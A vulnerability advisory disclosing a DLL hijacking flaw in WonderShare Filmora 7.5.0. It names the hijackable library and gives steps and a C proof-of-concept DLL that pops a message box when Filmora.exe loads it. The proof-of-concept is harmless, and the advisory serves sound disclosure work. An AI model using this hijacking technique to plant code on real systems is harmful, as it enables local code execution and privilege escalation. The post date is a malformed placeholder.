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WonderShare Filmora 7.5.0 - DLL Hijacking Vulnerability

Posted on 30 November -0001

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[#] Exploit Title : WonderShare Filmora 7.5.0 - DLL Hijacking Vulnerability
[#] Date Discovered : 2016-10-15
[#] Affected Product(s): Product: WonderShare Filmora v7.5.0 - Software
[#] Exploitation Technique: Local
[#] Severity Level: Medium
[#] Tested OS : Windows 7
=====================================================


[#] Product & Service Introduction:
===================================
Wondershare Filmora (Video Editor) can turn your home videos into great productions with embedded text, effects, transitions, frames, music and many other elements to insert. Simply import video, place it on the timeline and navigate through the different components (text, effect, PIP, transition, film, sound) to add the desired time. You also have the option to crop video, insert a voice or adjusting the contrast, saturation, brightness, tone and speed. A preview window facilitates real-time verification of changes.
 
(Copy of the Vendor Homepage: http://filmora.wondershare.com/ )


[#] Technical Details & Description:
====================================
A local dll injection vulnerability has been discovered in the official WonderShare Filmora v7.5.0 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.

Vulnerable Software:
           [+] WonderShare Filmora

Vulnerable Version(s):
           [+] v7.5.0 

Vulnerable Libraries:
           [+] wspermissionaccess.dll


[#] Proof of Concept (PoC):
===========================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to wspermissionaccess.dll
2. Copy wspermissionaccess.dll to C:Program FilesWondershareFilmoraFilmora.exe
3. Launch Filmora.exe
4. MessageBox Executed

-- PoC Exploit --

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}


[#] Vulnerability Disclosure Timeline:
======================================
2016-10-15 : Discovery of the Vulnerability
2016-10-15 : Contact the Vendor (No Response)
2016-10-28 : Public Disclosure



[#] Disclaimer:
===============
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


Domain:     www.zwx.fr
Contact:    msk4@live.fr	
Social:     twitter.com/XSSed.fr
Feeds:      www.zwx.fr/feed/
Advisory:   www.vulnerability-lab.com/show.php?user=ZwX
            packetstormsecurity.com/files/author/12026/
            cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
            0day.today/author/27461


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